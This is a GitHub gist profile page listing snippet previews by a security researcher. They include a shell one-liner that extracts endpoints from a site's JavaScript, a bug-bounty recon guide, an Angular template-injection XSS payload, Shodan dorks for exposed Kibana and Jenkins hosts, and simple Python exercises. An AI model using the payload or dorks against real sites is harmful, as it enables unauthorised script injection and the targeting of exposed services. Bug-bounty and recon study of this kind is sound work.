Skip to content

Instantly share code, notes, and snippets.

View PushkraJ99's full-sized avatar
:shipit:
Security Researcher

PushkraJ PushkraJ99

:shipit:
Security Researcher
View GitHub Profile
@PushkraJ99
PushkraJ99 / ejs.sh
Created January 15, 2024 18:02 — forked from gwen001/ejs.sh
onliner to extract endpoints from JS files of a given host
curl -L -k -s https://www.example.com | tac | sed "s#\\\/#\/#g" | egrep -o "src['\"]?\s*[=:]\s*['\"]?[^'\"]+.js[^'\"> ]*" | awk -F '//' '{if(length($2))print "https://"$2}' | sort -fu | xargs -I '%' sh -c "curl -k -s \"%\" | sed \"s/[;}\)>]/\n/g\" | grep -Po \"(['\\\"](https?:)?[/]{1,2}[^'\\\"> ]{5,})|(\.(get|post|ajax|load)\s*\(\s*['\\\"](https?:)?[/]{1,2}[^'\\\"> ]{5,})\"" | awk -F "['\"]" '{print $2}' | sort -fu
# using linkfinder
function ejs() {
URL=$1;
curl -Lks $URL | tac | sed "s#\\\/#\/#g" | egrep -o "src['\"]?\s*[=:]\s*['\"]?[^'\"]+.js[^'\"> ]*" | sed -r "s/^src['\"]?[=:]['\"]//g" | awk -v url=$URL '{if(length($1)) if($1 ~/^http/) print $1; else if($1 ~/^\/\//) print "https:"$1; else print url"/"$1}' | sort -fu | xargs -I '%' sh -c "echo \"\n##### %\";wget --no-check-certificate --quiet \"%\"; basename \"%\" | xargs -I \"#\" sh -c 'linkfinder.py -o cli -i #'"
}
# with file download (the new best one):
# but there is a bug if you don't provide a root url
@PushkraJ99
PushkraJ99 / JavascriptRecon.md
Created January 15, 2024 17:55 — forked from fuckup1337/JavascriptRecon.md
My Javascript Recon Process - BugBounty

Description

This is a simple guide to perform javascript recon in the bugbounty

Steps

  • The first step is to collect possibly several javascript files (more files = more paths,parameters -> more vulns)
@PushkraJ99
PushkraJ99 / AngularTI.md
Created December 18, 2023 14:06 — forked from mccabe615/AngularTI.md
Angular Template Injection Payloads

1.3.2 and below

{{7*7}}

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
org: org_name
kibana content-length:217
org:”Amazon” ssl:”target”
ssl:”target”
html:”Dashboard Jenkins” http.component:”jenkins”
http.title:”302 Found”
http.component%3A”java”
https://www.shodan.io/host/ip#9200
https://www.shodan.io/host/ip
X-Redirect-By: WordPress ssl:”name”
@PushkraJ99
PushkraJ99 / Age Calculator.py
Created June 5, 2022 15:14
Age Calculator Python Project
#Age-Calculator-Project (Github:-PushkraJ99)
from tkinter import *
from datetime import date
win = Tk()
win.title("AGE-CALCULATOR") #Title
win.configure(bg="#4F4F4F") #Backround color
win.geometry("400x400") #Size of the window
new = Label(win,bg="#4F4F4F")
new.grid(row=5,column=0,columnspan=3)
@PushkraJ99
PushkraJ99 / Tower Of Hanoi.py
Last active June 5, 2022 15:30
Tower Of Hanoi Python
#Tower Of Hanoi (Github:-PushkraJ99)
from tkinter import N
def TOH(numbers, start, aux, end):
if numbers ==1:
print("Move Disk 1 From Rod {} to Rod {} ".format(start,end))
return
TOH(numbers-1,start,end,aux)
print("Move Disk {} From Rod {} to Rod {} ".format(numbers,start,end))
@PushkraJ99
PushkraJ99 / Password Cracker.py
Last active June 5, 2022 15:30
Password Cracker Made in Python
#Password Cracker (Github:-PushkraJ99)
# importing random
from random import*
# taking input from user
user_pass = input("Enter your password :- ")
# storing alphabet letter to use thm to crack password
password = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j','k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't','u','v',
@PushkraJ99
PushkraJ99 / Linear search using Python.py
Last active June 5, 2022 15:31
Linear search using Python
#Linear search using Python (Github:-PushkraJ99)
pos = -1
def search(list, n):
i = 0
while i< len(list):
if list[i] == n:
globals()['pos'] = i
return True
@PushkraJ99
PushkraJ99 / Palindrome.py
Last active June 5, 2022 15:34
Palindrome 3
#Palindrome using Python (Github:-PushkraJ99)
num=int(input("Enter a number:"))
temp=num
rev=0
while(num>0):
dig=num%10
rev=rev*10+dig
num=num//10
if(temp==rev):
print("The number is palindrome!")
@PushkraJ99
PushkraJ99 / Palindrome.py
Last active June 5, 2022 15:35
Palindrome 2
#Palindrome using Python (Github:-PushkraJ99)
string=input(("Enter a string:"))
if(string==string[::-1]):
print("The string is a palindrome")
else:
print("The string is Not a palindrome")